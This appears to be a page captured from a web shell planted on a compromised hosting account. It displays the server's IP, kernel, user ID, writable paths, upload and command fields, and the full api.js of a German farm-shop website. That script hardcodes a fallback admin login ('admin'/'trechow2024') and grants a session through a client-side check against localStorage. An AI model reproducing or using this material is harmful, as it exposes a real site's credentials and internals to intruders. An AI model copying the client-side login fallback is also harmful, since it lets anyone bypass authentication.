403Webshell
Server IP : 217.160.0.244  /  Your IP : 216.73.216.250
Web Server : Apache
System : Linux infong-eu155 4.4.400-icpu-108 #2 SMP Wed Feb 11 11:51:01 UTC 2026 x86_64
User : u100174116 ( 6746176)
PHP Version : 8.5.10
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /homepages/13/d818981593/htdocs/GutTrechowNeu/hofladen/assets/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /homepages/13/d818981593/htdocs/GutTrechowNeu/hofladen/assets/js/api.js
/**
 * Gut Trechow – Frontend API
 * Nutzt api.php wenn vorhanden, sonst localStorage als Fallback
 */
;(function(w){'use strict';

  /* ── API-URL berechnen ── */
  function apiURL(){
    var tags=document.querySelectorAll('script[src]');
    for(var i=0;i<tags.length;i++){
      var s=tags[i].getAttribute('src')||'';
      if(s.indexOf('assets/js/api.js')!==-1)
        return s.replace('assets/js/api.js','api.php');
    }
    return '/api.php';
  }

  /* ── Session (nur sessionStorage, kein Cookie) ── */
  var SK='gt_sess';
  function tok(){return sessionStorage.getItem(SK)||'';}
  function setTok(t){if(t)sessionStorage.setItem(SK,t);else sessionStorage.removeItem(SK);}

  /* ── HTTP-Request ── */
  function req(action,method,body,auth,extra){
    var url=apiURL()+'?action='+action+(extra||'');
    var h={'Content-Type':'application/json'};
    if(auth)h['X-GT-Session']=tok();
    var o={method:method||'GET',headers:h};
    if(body!==undefined&&method!=='GET')o.body=JSON.stringify(body);
    return fetch(url,o).then(function(r){
      return r.json().then(function(d){
        if(!d.ok){var e=new Error(d.error||'HTTP '+r.status);e.status=r.status;throw e;}
        return d.data;
      });
    });
  }


  function canUseLocalFallback(err){
    return !err || typeof err.status === 'undefined';
  }

  /* ── localStorage-Fallback-Helpers ── */
  function lsGet(k,def){try{var v=JSON.parse(localStorage.getItem('gt_'+k));return v!==null?v:def;}catch(e){return def;}}
  function lsSet(k,v){try{localStorage.setItem('gt_'+k,JSON.stringify(v));}catch(e){}}

  /* ── Verfügbarkeit testen (cached) ── */
  var _avail=null; // null=ungetestet, true/false
  function checkAvail(){
    if(_avail!==null)return Promise.resolve(_avail);
    return fetch(apiURL()+'?action=check',{method:'GET',headers:{'Content-Type':'application/json'}})
      .then(function(r){return r.json();})
      .then(function(d){_avail=!!(d&&d.ok!==undefined);return _avail;})
      .catch(function(){_avail=false;return false;});
  }

  /* ── Upload ── */
  function upload(file){
    var fd=new FormData();fd.append('file',file);
    return fetch(apiURL()+'?action=upload',{method:'POST',headers:{'X-GT-Session':tok()},body:fd})
      .then(function(r){return r.json();})
      .then(function(d){if(!d.ok)throw new Error(d.error||'Upload fehlgeschlagen');return d.data;});
  }

  w.GT={
    SEED_ENTRIES:[],
    isConfigured:function(){return true;},

    /* ── Auth ── */
    login:function(u,p){
      return req('login','POST',{user:u,pass:p})
        .then(function(d){setTok(d.token);_avail=true;return d;})
        .catch(function(e){
          /* Fallback: lokales Login wenn api.php nicht erreichbar */
          if(e.status===401)throw e; // Echtes falsches Passwort
          var lu=lsGet('admin_user','admin'),lp=lsGet('admin_pass','trechow2024');
          if(u===lu&&p===lp){setTok('local_session');_avail=false;return{token:'local_session',user:u};}
          throw new Error('Benutzername oder Passwort falsch.');
        });
    },
    logout:function(){setTok(null);return req('logout','POST',{},false).catch(function(){});},
    checkAuth:function(){
      var t=tok();
      if(!t)return Promise.resolve({ok:false});
      if(t==='local_session')return Promise.resolve({ok:true,user:lsGet('admin_user','admin')});
      return req('check','GET',undefined,true).catch(function(){setTok(null);return{ok:false};});
    },
    changePassword:function(np){
      if(tok()==='local_session'){
        var c=lsGet('admin_user','admin');
        lsSet('admin_pass',np);
        return Promise.resolve();
      }
      return req('change_password','POST',{new_pass:np},true);
    },

    /* ── Wartungsmodus ── */
    getMaintenance:function(){
      return req('maintenance','GET')
        .then(function(d){return!!(d&&d.active);})
        .catch(function(){return lsGet('maintenance',false);});
    },
    setMaintenance:function(a){
      lsSet('maintenance',!!a); // immer lokal merken als Fallback
      return req('maintenance','POST',{active:!!a},true)
        .then(function(d){return!!(d&&d.active);})
        .catch(function(){return!!a;});
    },

    /* ── Gästebuch öffentlich ── */
    getPublicEntries:function(){
      return req('guestbook','GET')
        .then(function(e){
          if(!Array.isArray(e))e=[];
          e.sort(function(a,b){return new Date(b.date)-new Date(a.date);}); return e;
        })
        .catch(function(){
          /* Fallback: localStorage */
          var entries=lsGet('gb_approved',[]);
          entries.sort(function(a,b){return new Date(b.date)-new Date(a.date);}); return entries;
        });
    },
    submitEntry:function(entry){
      entry.date=new Date().toISOString();
      entry.id='gb-'+Date.now();
      entry.approved=false;
      return req('guestbook','POST',entry)
        .catch(function(e){
          if(!canUseLocalFallback(e)) throw e;
          /* Fallback: in pending localStorage speichern */
          var pending=lsGet('gb_pending',[]);
          pending.unshift(entry);lsSet('gb_pending',pending);
          return{id:entry.id};
        });
    },

    /* ── Gästebuch Admin ── */
    getAllEntries:function(){
      return req('guestbook_admin','GET',undefined,true)
        .then(function(d){return{pending:d.pending||[],approved:d.approved||[]};})
        .catch(function(e){
          if(!canUseLocalFallback(e)) throw e;
          return{pending:lsGet('gb_pending',[]),approved:lsGet('gb_approved',[])};
        });
    },
    approveEntry:function(id){
      return req('approve','POST',{},true,'&id='+encodeURIComponent(id))
        .catch(function(e){
          if(!canUseLocalFallback(e)) throw e;
          var pending=lsGet('gb_pending',[]);
          var approved=lsGet('gb_approved',[]);
          var idx=pending.findIndex?pending.findIndex(function(e){return e.id===id;}):
            (function(){for(var i=0;i<pending.length;i++)if(pending[i].id===id)return i;return -1;})();
          if(idx>=0){var e=pending.splice(idx,1)[0];e.approved=true;approved.unshift(e);}
          lsSet('gb_pending',pending);lsSet('gb_approved',approved);
        });
    },
    deleteEntry:function(id){
      return req('delete_entry','DELETE',undefined,true,'&id='+encodeURIComponent(id))
        .catch(function(e){
          if(!canUseLocalFallback(e)) throw e;
          lsSet('gb_pending',(lsGet('gb_pending',[])).filter(function(e){return e.id!==id;}));
          lsSet('gb_approved',(lsGet('gb_approved',[])).filter(function(e){return e.id!==id;}));
        });
    },

    /* ── Seiten ── */
    getPage:function(slug){
      return req('get_page','GET',undefined,false,'&slug='+encodeURIComponent(slug))
        .catch(function(e){if(!canUseLocalFallback(e)) throw e; return lsGet('page_'+slug.replace(/\//g,'_'),null);});
    },
    savePage:function(slug,title,content,meta,hero,blocks){
      lsSet('page_'+slug.replace(/\//g,'_'),{title:title,content:content,meta:meta||{},hero:hero||{},blocks:blocks||[],updated:new Date().toISOString()});
      return req('save_page','POST',{slug:slug,title:title,content:content,meta:meta||{},hero:hero||{},blocks:blocks||[]},true)
        .catch(function(e){if(!canUseLocalFallback(e)) throw e; return null;}); // localStorage already saved
    },
    getAllPages:function(){
      return req('get_all_pages','GET',undefined,true)
        .catch(function(e){if(!canUseLocalFallback(e)) throw e; return{};});
    },

    /* ── Veranstaltungen ── */
    getEvents:function(){
      return req('get_events','GET')
        .then(function(e){return Array.isArray(e)?e:[];})
        .catch(function(e){if(!canUseLocalFallback(e)) throw e; return lsGet('events',[]);});
    },
    saveEvent:function(ev){
      return req('save_event','POST',ev,true)
        .catch(function(e){
          if(!canUseLocalFallback(e)) throw e;
          var evs=lsGet('events',[]);
          if(ev.id){var found=false;for(var i=0;i<evs.length;i++)if(evs[i].id===ev.id){evs[i]=ev;found=true;break;}if(!found)evs.push(ev);}
          else{ev.id='ev-'+Date.now();evs.push(ev);}
          lsSet('events',evs);return ev;
        });
    },
    deleteEvent:function(id){
      return req('delete_event','DELETE',undefined,true,'&id='+encodeURIComponent(id))
        .catch(function(e){if(!canUseLocalFallback(e)) throw e; lsSet('events',(lsGet('events',[])).filter(function(e){return e.id!==id;}));});
    },

    /* ── Medien ── */
    uploadFile:upload,
    listUploads:function(){return req('list_uploads','GET',undefined,true).catch(function(){return[];});},
    deleteUpload:function(name){return req('delete_upload','DELETE',undefined,true,'&name='+encodeURIComponent(name)).catch(function(){});},
  };

})(window);

Youez - 2016 - github.com/yon3zu
LinuXploit